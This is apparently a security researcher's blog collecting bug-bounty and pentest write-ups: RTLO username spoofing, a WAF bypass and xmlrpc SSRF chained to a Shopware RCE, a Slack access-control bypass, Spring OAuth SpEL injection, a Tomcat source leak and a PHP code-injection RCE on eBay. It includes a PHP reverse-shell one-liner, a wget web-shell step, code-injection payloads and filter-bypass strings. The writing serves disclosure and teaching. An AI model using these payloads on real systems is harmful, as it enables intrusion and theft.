from RTLO to alleged admin

JUL, 4th 2020


In this blog post, I want to share a little issue I had first discovered back in 2018 that can be used as part of your Security Awareness campaigns.


I couldn't register as admin or Administrator, so I registered as another user and afterward changed my username using Unicode because I wanted to trick the web application to show it as "administrator" and thus facilitate phishing attacks.


Frequently the registration controller is disabled. I would still recommend to check if it is enabled and accessible when hunting for issues.


The target web site allowed a customer to register and post comments in WordPress located at: .

I had tried to register with familiar names like "admin" or "administrator," which was not allowed. So I tried registering with Unicode look-a-like characters that would look pretty much the same as "admin", but it still a different name. It did not work.

So I registered using "administrators" with a trailing "s". I had received an email for double-opt-in and verified the registration by visiting the link:

side finding:
It is worth mentioning that it is a problem that my username in the "login" param is exposed to 3rd party web sites in cleartext in the HTTP referrer header, which itself could already be a GDPR case.


I've successfully registered as "administrators", but there not much I could to with it because I am still a normal user. So I was wondering if the registration process works the same as the change username process?

I tried to rename my username from "administrators" to "admin". WordPress did not allow me to change to this username.


Next I thought about RTLO (right-to-left override) which is U+202E in Unicode.

So I tried to rename it to:

which consists of %E2%80%AE which is the URLencoded string of the RTLO sequence and rotartsinimda which is the reversed string of "administrator".
This was accepted.

Next I then navigated to the comment section to verify if the RTLO has worked or the web application shows my username as rotartsinimda.

The RTLO sequence worked, and in the web browser, it was successfully parsed and was shown as "administrator".
This fact facilitates phishing attacks because an average user would trust if an administrator posts a comment such as "Your session has Please click here to relogin" with a link pointing to an attacker-controlled domain like or similar.


In fact, it is a low-Risk issue, but in my opinion, it can be used as an "eye-catcher" in your Security Awareness campaign.


I want to thank the private bug bounty programs for the bounties and therefore the opportunity to donate it to needy humans who well deserves our help.



June, 30th 2020


In this blog post I will write about my thinking processes during the respective security audit and share my failed attempts with you as well. I hope that we can inspire motivate each other in the community to stay tuned and learn from ideas that were not successful in the particular case but can be used in the future in other (corner) cases for success.


We will perform information gathering, bypass filter, abuse a SSRF, discover a zero-day RCE during research and finally exfiltrate sensitive information.


Back in 2016, I had performed a penetration test for which I received minimal information upfront. The goal was to infiltrate the target and access their internal systems or to exfiltrate (sensitive) internal information.

The scope was *!


During the information-gathering phase, I crawled the web site and extracted the frameworks revealed in the HTML source or HTTP response headers. Once this step was finished, I manually reviewed the structures and started to look for version disclosures.

I quickly discovered that the company's blog was WordPress. So one obvious step for me was to check if I can access any admin interfaces or files without login.
That was not the case here, so next I checked the rendered HTML source and found a reference to the "xmlrpc.php" file.

When I tried to access the file, the server returned a "404 not found" error message. Since the file was referenced in the HTML code, I thought that they were probably using a WAF and had the "xmlrpc.php" on a blocked-list for any access from an IP address which is not part of their company network.


So quite naturally, I attempted to bypass the blocked-list by using the following encoding combinations:

1. add a slash to the URL like this ""
2. urlencode the slash once: ""
3. urlencode the slash twice: ""
5. urlencode the slash once and urlencode one other char:
6. urlencode the slash and one other char twice:

The successful condition utilized double URLencoding. The WAF/Application was decoding the user-submitted input only once before performing the string-comparison with the strings in the blocked-list.

So the 6th payload with double URLencoding bypassed their filter, and I now could access the "XMLRPC" controller from an external IP address.

The next step was to check by exploiting the existing endpoint, if it is possible to perform out-of-band HTTP REQUESTS.
Next, I looked if they have an older version of the "XMLRPC" controller in place so that I could use the "" method to make outbound requests to my external server and expose internal IP addresses or other routes that, for example, are not behind a DDoS protection like the one that Cloudflare or AKAMAI offers.

To verify if the "" method is available; I posted a request to list the available methods.

The "" method is available on the target system. Nice!

The next step is to check if we can make out-of-band HTTP requests so that we can potentially abuse this like a Server-side Request Forgery (SSRF) later and use it to gain access to internal hosts and (sensitive) internal information.

The HTTP request was successful, however I was yet to gain access to any potentially sensitive information. At this point in time, I could enumerate or brute-force internal server names.

I decided to check for internal hostnames by using "" or a similar service, which would help me to quickly identify subdomains or internal-only hosts due to the leak of the hostnames in the public SSL certificates.

I found a few generic sounding subdomains like "", "", "", but I did not know what software was running there. But one that caught my attention was:

Next, I spent my time looking for publicly available exploits in Shopware that would allow me to obtain code execution. However, no exploits were found so I decided to dig down deeper and hunt for zerodays in Shopware by myself.


I decided to download the source code of shopware and hunt for zeroday vulnerabilities. After a couple of hours of research, a remote code execution was identified in the "/backend/Login/load" module. Next, after investigating the root cause and identify the sinks I wrote a proof of concept exploit code for it and verified it on my local Shopware installation so that I can add this exploit to my exploit chain in this pentest.


Now my attack scenario looks like this:
1. bypass the filter to access restricted methods such as "" in the "xmlrpc.php"
2. Use the "" method to make a HTTP GET request to the internal Shopware
3. with the RCE exploit I can finally spawn a reverse shell on the target system or exfiltrate internal information


This is an incomplete Threat Model in order to identify the trust boundaries I had in my mind.


The final chained exploit code looked like in the next screenshot.
So that it can be read easily I've attached it in plaintext in the picture. Hint: The original request was URL-encoded before being sent.

At this point we could also have tried to spawn a reverse-shell like this:
${{`php -r '$sock=fsockopen("",23232);exec("/bin/sh -i <&3 >&3 2>&3");'`}}
or place a web shell on the target system like this:
wget;chmod +x webshell.php
and from this point use the web shell instead of the issue in Shopware.


I had lots of fun while performing this pentest. I was thrilled to find any exploitable issue in Shopware because I was highly motivated to gain access to internal systems and data.
My research of the Shopware source code lead to CVE-2016-3109

After the pentest the target company told me that they were evaluating Shopware on this internal system and had not yet put efforts in protecting it.

Fortunately, there are many talented people in the infosec community today who share their findings with us and blog about them or post them on Twitter. Thanks for that.
You are awesome!

Unfortunately, these posts are sometimes short and focus on the final exploit code and show the happy path without giving more in-depth insights into the researcher's mindset. In my opinion, these thoughts are worth their weight in gold and are incredibly inspiring.

Hopefully, this article gave you insights and motivates you to keep focus and don't give up if you cannot quickly find severe issues in your target scope.


I want to thank the Shopware Team for a very friendly and professional communication when I contacted them and supplied the proof of concept for what later became CVE-2016-3109.

Also I want to thank the following individuals for proof-reading this blog post:


There are a few nice articles about other researches regarding the "xmlrpc" controller:




4. If you know other cool articles, drop me a message and I will add the references :)

Slack, a brief journey to mission control

Oct, 20th 2016


In this blog post, I will describe my thoughts while hunting for security issues as part of Slack's bug bounty program.

Thanks to the Slack security team

I want to thank Leigh Honeywell and Max Feldman of the Slack security team for the gentle, professional communication and coordination in the bug reporting process.

Information gathering

To understand the infrastructure and gain information about the used framework, I started to check the HTTP response header. I saw that Slack is using an Apache httpd server. So I tried to identify common Apache directories and directives like /icons/README, /manual/, /server-info and /server-status.

May I access your internal data, please?

Slack runs mod_status on the web server. The Status module allows a server administrator to find out how well their server is performing and which resources have been requested by which ip addresses. An attacker may make use of this information to craft an attack against the web server.

When I tried to access server-status directive, the server redirected me to a login page located on the * domain. So this path has been protected.

Out of scope domain! Now what?

If you are lazy, be warned that brute-force is not permitted by the Slack bug bounty program's rules. So one would now try to bypass the login page with some injection techniques, but unfortunately, the login page itself is located on a FQDN outside of the allowed scope, so this was not an option. I had to find a way to stay within the allowed scope of

Routing? Filter? - Blind testing

First of all, I thought, that if they are using Apache httpd and mod_status, the redirect could be triggered using the rewrite module. The mod_rewrite module is a powerful module for Apache used for rewriting URLs on the fly. However, with such power come associated risks; it is easy to make mistakes when configuring mod_rewrite, which can turn into security issues. Take, for example, one of the configurations in the mod_rewrite documentation:

RewriteRule ^/somepath(.*) /otherpath$1 [R]
If this is the case, they could probably have misconfigured the RewriteRule and therefore I could bypass it by simply adding a slash. Why? Requesting
will redirect and return the page http://yourserver/otherpath/secalert as expected. However, requesting
will bypass this particular RewriteRule. In case of Slack it was not possible to bypass it this way. So I had to think outside the box.

I was playing around with representations of a slash in order to potentially bypass a simple string based filter protection.
I played around with the RTLO sequence in order to bypass the filter by submitting the RTLO sequence followed by the reversed string.{u+202e here}sutats-revres
which did not work at first.

Access control bypass!

After a few tests I thought, that they could use a Route Map in their framework and that I potentially could bypass the routing mechanism or access control by adding multiple forward slashes in case that the applied filter checks if the string starts with a particular string and does strip a forward slash, but eventually miss to strip all slashes recursively, and this finally worked.

Bounty as low as $50?

While writing the report for Slack on hackerone I decided to add some screenshots as proof of concept. At this point I thought that I would earn the minimum bounty of $50 for reporting this misconfiguration issue, because the server-status file usually would not expose any sensitive information to me if the requested resources are part of my own Slack workspace, right? Well, i logged out of my Slack account and requested the server status without being logged in! That means that an attacker would potentially gain unauthorized access to the requested resources of ANY Slack site by accessing the server-status directive of a given workspace!

Secrets exposed, increased bounty!

I realised that there are some requests listed like /callbacks/chat.php?secret=... and /users.list?token=... ,which definitely are sensitive data. So I added some screenshots, which most probably increased the bounty I finally received. Thanks again to Slack for that generous bounty.

Google indexing

After receiving the first bounty from Slack, which has been generous, I was motivated to hunt for further issues. I googled for common file extensions on the Slack web sites and found cached URLs, which indicates that Slack does have or had a back-end admin panel, which Google indexed in the past. When I tried to access these pages, I got redirected to the login page once again. But since Slack resolved the prior reported issue, chances were low, right?

Backend access -> second bounty!

The Slack employees have access to a backend admin panel called mission control. In the mission control panel, authorized people can read lots of meta data related to Slack user and Slack workspace by passing an id to the corresponding controller. Since the needed "id" is being exposed in the rendered HTML of my Slack workspace, I read the metadata associated with my own account and sent these screenshots to the Slack security team. Besides that, it was identified that an attacker would be enabled to reset the password of any user by guessing their "id" and passing a request to the associated reset controller in the mission control panel. This would allow an attacker to take over any account! For this issue, I received an additional bounty.


Be patient! Sometimes you may identify a flaw that seems to be trivial from a technical point of view, but may raise a high business impact or an increased data privacy issue to the affected company, so that they could rate the risks different than you initially thought.

Apr, 11th 2016: issue identified and reported
Apr, 11th 2016: verified by slack
Apr, 13th 2016: issue fixed
Apr, 13th 2016: received a bounty of $2000
Apr, 14th 2016: identified and reported second issue
Apr, 14th 2016: issue verified by slack
Apr, 24th 2016: issue has been globally fixed
Apr, 24th 2016: additional bounty of $7000, making it $9000 in total
Oct, 20th 2016: this write-up has been published

CVE-2016-4977: RCE in Spring Security OAuth 1&2

Oct, 13th 2016

Affected version

  • Pivotal Spring Security OAuth 2.0 - 2.0.9
  • Pivotal Spring Security OAuth 1.0 - 1.0.5


A couple of months ago, I performed a security audit against a web application that used the Spring Security OAuth framework for authorization. During my research, I have identified some issues, including remote code execution flaws. The web application implemented the Spring Security OAuth framework, which comes by default with a template prone to RCE! One would believe that this one is secure by default, but indeed it was not. During my research, I realized that a couple of well-known websites also implemented the vulnerable code.

Spring Boot Demo

If you want to verify the issue yourself, you can download the spring boot demo application as a maven project from

Let's get started

Usually one would run the demo application by passing a legit request like:

Everything works as intended. I then started to look for common issues like XSS:

This led to an error which showed the Whitelabel Error Page. Surprisingly there are lots of well-known websites which still use the Whitelabel Error Page instead of having configured a custom error page. The Spring Security OAuth example shows the Whitelabel Error Page by default whenever an error occurs. The Whitelabel View reflects parts of the given parameter values, which leads to XSS at first glance. After finding the XSS during blackbox testing I reviewed the source code to identify the vulnerable code before I report the issue to upstream. While reviewing the source code I realised that there is a more dangerous issue there.

Error handling calls "SpelView" endpoint

Let's review the source code of

/* Lines 137-148 of: */

private final SpelView defaultErrorView = new SpelView("Whitelabel Error Page"+ "This application has no explicit mapping for /error, so you are seeing this as a fallback."+ "${timestamp}"+ "There was an unexpected error (type=${error}, status=${status})."+ "${message}");
@Bean(name = "error")
@ConditionalOnMissingBean(name = "error")
public View defaultErrorView() {
        return this.defaultErrorView;}

The user supplied values are passed to the Class which is using the SpelExpressionParser of oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/

Source code: /spring-security-oauth2/src/main/java/org/springframework/security/oauth2/provider/endpoint/
import org.springframework.expression.spel.standard.SpelExpressionParser;
private final SpelExpressionParser parser = new SpelExpressionParser();
private final StandardEvaluationContext context = new StandardEvaluationContext();
this.helper = new PropertyPlaceholderHelper("${", "}");
Expression expression = parser.parseExpression(name); ...

This is interesting. The Spring Expression Language (click here for detail) is the syntax used by spring for configuration and code place in annotations. To check if the param is also prone to Spring Expression Language Injection I then passed:


The response message shows "666" which means that the proof of concept code has been evaluated!

Exploiting the RCE (on Linux)


Exploiting the RCE (on Windows,null_ref)


The hotfix

The maintainer released a hotfix:

Race condition in the hotfix may be exploitable

If one reviews the applied bug fix one may conclude that the fix looks some kind of a partial fix. They try to prevent recursive placeholders in whitelabel views by using the class in order to replace the "{" prefix.

    /* Source code: "": */
public SpelView(String template) {
    this.template = template;
    this.prefix = new RandomValueStringGenerator().generate() + "{";
    this.context.addPropertyAccessor(new MapAccessor());
    this.resolver = new PlaceholderResolver() {
      public String resolvePlaceholder(String name) {
            Expression expression = parser.parseExpression(name);
        Object value = expression.getValue(context);
          return value == null ? null : value.toString();
    String maskedTemplate = template.replace("${", prefix);
    PropertyPlaceholderHelper helper =
    new PropertyPlaceholderHelper(prefix, "}");
    String result = helper.replacePlaceholders(maskedTemplate, resolver);
    result = result.replace(prefix, "${");
This looks like a quick win solution, but if an attacker makes a sufficient amount of requests the RCE could still be exploitable due to a race condition since the RandomValueStringGenerator (click here for API docs) Class generates a string with the default length (6).

Whitelabel Error Page on production environment

As web developer or web admin you should consider disabling the whitelabel error page or use a custom error page with a generic text. Please refer to Point < code>77.2 Customize the whitelabel error page on


Feb,  8th 2016: vulnerability discovered and reported to upstream
Feb, 14th 2016: upstream verified the issue
Mar, 12th 2016: upstream deployed a hotfix
Jul,  5th 2016: initial vulnerability report published by upstream
Oct, 13th 2016: this write-up has been published

A tale of an interesting source code leak

Mar, 27th 2016


Lately, while participating in Bug Bounty Programs, I came across an interesting issue which was classified with the highest severity yielding a potential bug bounty. Due to it's terms, i am compelled not to disclose the name of the company.

Information gathering

I started with some information gathering and footprinting. I noticed that the files ends with the ".jsp" extension which often runs with Apache Tomcat. First I reviewed the http response header in order to gain some information about the target system:

HTTP/1.1 200 OK
Date: 16 Mar 2016 15:15:33 GMT

If the http status code is followed by the date response header in the second line it usually means that it the page is using an Apache httpd as web server. In this case I assumed that an httpd is used in front of an Tomcat web server. If i am right then they could probably be using some module to dispatch the files between the httpd and the Tomcat web server which means I could potentially trick the routing to expose the source code of any ".jsp" or ".inc" files by appending specific lower ascii characters - depending on whether they are using a Connector or Handler.

Connector, Handler, File Descriptor

1) The Apache Tomcat Connectors: If Apache httpd and Tomcat are configured to serve content from the same filing system location then care must be taken to ensure that httpd is not able to serve inappropriate content such as the contents of the WEB-INF directory or JSP source code. This could occur if the httpd DocumentRoot overlaps with a Tomcat Host's appBase or the docBase of any Context. It could also occur when using the httpd Alias directive with a Tomcat Host's appBase or the docBase of any Context.

2) Well, let's have a look on the Apache web server handler. A "handler" is an internal Apache representation of the action to be performed when a file is called. Generally, files have implicit handlers, based on the file type. Normally, all files are simply served by the server, but certain file types are "handled" separately. If you want to handle ".jsp" files you may for example use the Apache module "mod_mime" in order to associate the requested filename's extensions with the file's behavior (handlers and filters) and content (mime-type, language, character set and encoding).

What will the httpd do if you try to access file which is not explicitly associated with a handler or filter? Httpd will serve the file as plain text without further actions which means that we can potentially exploit this behaviour.


In the case of my research of this particular target system i knew from the information gathering analysis that they were handling ".jsp" files, so i assumed that they are using an Apache httpd in the front and an Tomcat or similar web server in the back end of the architecture. So i tried to append some character to the file extension like this in order to get some information by forcing the system to run in some uncaught exceptions and show up with any anormally behaviour:
This, however did not work as expected. I was expecting the system to expose a stack trace or to run into a web application firewall, but instead if came it up with the following message:
Problem accessing /password.jsp%00. Reason:
    The request contains an illegal URL
From several pentests I performed in the past i knew that the apache httpd would usually strip the %00 and raise a message like this one:
Not Found
The requested URL /password.jsp was not found on this server.
Therefore I assumed that the error message is not originated by the httpd but from a connector. From past pentests I know that there were some connectors which led to unusual behaviour when passing lower ascii characters to them.

During my research related to Tomcat connectors I found that i may manipulate the routing of the data stream by using the SOH (start of header, 0x01) transmission control sequence. The start of heading (SOH) character was to mark a non-data section of a data stream which is the part of a stream containing addresses and other housekeeping data.

As i have been successful with this trick in past with several modules such as mod_proxy_ajp, mod_jk, some spring boot implementations and a few other i tried:

What I assumed

In this case I assumed the target system had following implementation in place:
1) Send request to Apache httpd
2) httpd uses it's file handler/filter to pass the request to Tomcat for processing
3) Tomcat uses it's file handler to open the".jsp" file because it handles
the %01 as the start of a new header and not as part of the file extension
4) Tomcat passes the content of the requested file to the httpd
which now has the content of the ".jsp" file with the requested extension ".jsp%01".
5) httpd does not find the ".jsp%01" extension in it's file
handler's extension list and therefore decides to serve the file as plain text
6) The same also works for ".inc" files on the target system

PoC and reporting

I would potentially gain access to the whole source code but decided to access a few ".jsp" and ".inc" files as a proof of concept. I then immediatly reported this issue to the company and within 3 hours they gave me feedback that they verified the issue and triaged it with the highest severity. They then deployed a hotfix within 48 hours. Respect!

Web server handler/filter/modules with similar issues in the past:
CVE-2007-1860: mod_jk double-decoding:



IBM Websphere:

Netscape Web Server:

Allaire JRun Root directory disclosure:

Apache httpd artificially Long Slash Path Directory Listing Vulnerability:[1-4096 slashes here]/admin/*

BEA WebLogic Directory Traversal with %00, %2e, %2f and %5c:

My advisories and CVEs

Mar, 15th 2017


Some of you reached out to me and asked me for my CVEs. Here is a list of some of my security advisories and associated CVE numbers sorted by vulnerability type.

CVE-2016-4977 Remote Code Execution
                     CVE-2016-3109                                          Remote Code Execution                    
CVE-2011-0635 Remote Code Execution
                     CVE-2006-7055                                    Remote Code Execution                 
CVE-2006-5132 Remote Code Execution
                     CVE-2006-3793                                    Remote Code Execution                 
CVE-2006-3210 Remote Code Execution
                     CVE-2006-2881                                    Remote Code Execution                 
CVE-2006-2852 Remote Code Execution
                     CVE-2006-2681                                    Remote Code Execution                 
CVE-2006-2323 Remote Code Execution
CVE-2010-2339 SQL Injection
CVE-2008-6120 SQL Injection
CVE-2006-3770 SQL Injection
CVE-2006-5128 SQL Injection
CVE-2006-5132 SQL Injectionn
CVE-2006-3793 SQL Injection
CVE-2006-3210 SQL Injection
CVE-2006-5935 SQL Injection
CVE-2006-5798 SQL Injection
CVE-2006-7077 SQL Injection RCE using CCS

Dec, 13th 2013


Once again i have been hunting security issues on ebay's web sites. This time I've identified a controller which was prone to remote code execution due to a type cast issue in combination with complex curly syntax. Since this techniques are less known and less discussed I found it interesting enough to blog about it. The vulnerable sub domain id the same where I've identified an exploitable SQL injection last year, which is located on .

Information gathering

A legit user request looked like:

One of the very first tests I perform against php web applications is to look for type cast issues because php is known to raise warnings or even errors when the value of a given param is an array rather than being a string which it is expected to be. So obviously my next step was to perform the above request using [] to submit it as an array:[]=Dave&catidd=1

The web application served me the same response as in the prior request which surprised me a bit. From my experience I know that php has several ways to handle strings. For example if the string is enclosed in double-quotes, the php parser will allow code evaluation if some circumstances are given.

PHP complex syntax

Well, if we use php's complex curly syntax we could possibly have some success. Never heard of complex syntax?

Let's give it a try:{${phpinfo()}}&catidd=1

PHP code evaluation circumstances

This had no success. So let's rethink which circumstances may lead to code evaluation in php.

Which of these is ebay using?

Since it's been a blackbox test I assumed that eBay was using preg_replace() for filtering bad words in combination with the eval() method afterwords because of 2 observations i made:
1) they were using a spellchecker. I have seen a bunch of spellchecker in web apps working with eval() method in the past
2) they are using some filter which I guess to be a blacklist of words that are being replaced with the preg_replace() method.

Blackbox analysis

For example when I submitted my handle 'secalert' it was stripped and as a result it returned 'sec' in the response of the search query. So obviously they are filtering words like 'alert' from the user supplied string, maybe in hope to prevent XSS, which is a very bad idea! It didn't work. Okay, seems like they are not using user-supplied values within double-quotes. So what can we do now?

PHP's internal string handling

How does php internally handle strings?

PHP complex syntax + http parameter pollution + array indexing

So let's try to submit an array rather than a string and try to echo the values of the param 'q' by accessing the array indices.[0]=Dave&q[1]=secalert&catidd=1

It works. The search controller parsed that request and I got the last instance as part of the result, in this particular case it returned valid entries which matched to the keyword 'sec'.

My assumption

But why? As mentioned prior I was assuming that eBay is using preg_replace() for filtering bad words and afterwards doing some eval() stuff with that return values. So what happens here could be that they are trying to enforce that user supplied values are always of the type string. That means if it's not a string they try to make a string out of it, i.e. they try to cast the values of the array into a string before doing the string comparison for the list containing bad words.

Exploiting the RCE

Okay, good. But how can we exploit that? We will put all this stuff together and submit an array with 2 indices containing arbitrary values, one of them will be supplied in complex curly syntax to trick the parser.[0]=Dave&q[1]=secalert{${phpinfo()}}&catidd=1
Success! Now let's verify this by submitting two more requests.[0]=Dave&q[1]=secalert{${phpcredits()}}&catidd=1[0]=Dave&q[1]=secalert{${ini_get_all()}}&catidd=1

Verified! We can evaluate arbitrary php code in context of the ebay website.

From my point of view that was enough to prove the existence of this vulnerabilty to ebay security team and I don't wanted to cause any harm. What could an evil hacker have done? He could for example investigate further and also try things like {${`ls -al`}} or other OS commands and would have managed to compromise the whole webserver.



December,  6th 2013: vulnerability discovered and reported to ebay
December,  9th 2013: ebay solved the issue and deployed a hotfix
December, 13th 2013: this write-up has been published


David Vieira-Kurz
Kemmannweg 26b
13583 Berlin


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